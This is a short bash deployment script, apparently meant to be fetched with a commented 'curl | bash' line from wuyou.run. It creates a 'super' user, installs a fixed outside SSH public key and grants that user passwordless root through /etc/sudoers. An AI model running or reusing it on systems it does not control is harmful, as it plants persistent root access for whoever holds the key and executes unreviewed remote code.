#!/bin/bash

# curl -s  http://wuyou.run/scripts/deploy/super.sh  |bash

Push_key ()
{
    useradd super
    su - super -c 'mkdir -p /home/super/.ssh'
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd14Mh6zajHax/E8d5qt/3Mm8uoX/Fh7dBSOVbk9zMljjZsjEa20iMX8YWaRajptT1ashZjKFOL/5ndN9AsKUb51+uJHePDFlJxRXkFvSfQj7XELSH0aGirjJeyAOJgbTm145CH4p+SJxHplIuwe4M0UoOYD3Rwd/K9wSPE7od/hroO6STWPtBOS5QWnPuzk2W71b791sVoavEshQqMhl0xJlehM9XeU2lEsDbmZATHfpOzt3GwKbQlGeYqSt/eH1sk66SsO6uDWgazdFqqPZ3PcuWSZEpZl1Cqsd0QYW1Oq7D4GT8YQttgUgOt4K/MPZf3uM/oDw8uenSyl7siFMJ  super.pem.pub">>/home/super/.ssh/authorized_keys
    chown super.super /home/super/.ssh/authorized_keys
    chmod 700 /home/super/.ssh ;chmod 600 /home/super/.ssh/authorized_keys

(grep "super" -lr /etc/sudoers)||cat >> /etc/sudoers << EOF
super ALL=(ALL) NOPASSWD: ALL
Defaults:super !requiretty
EOF

}
Push_key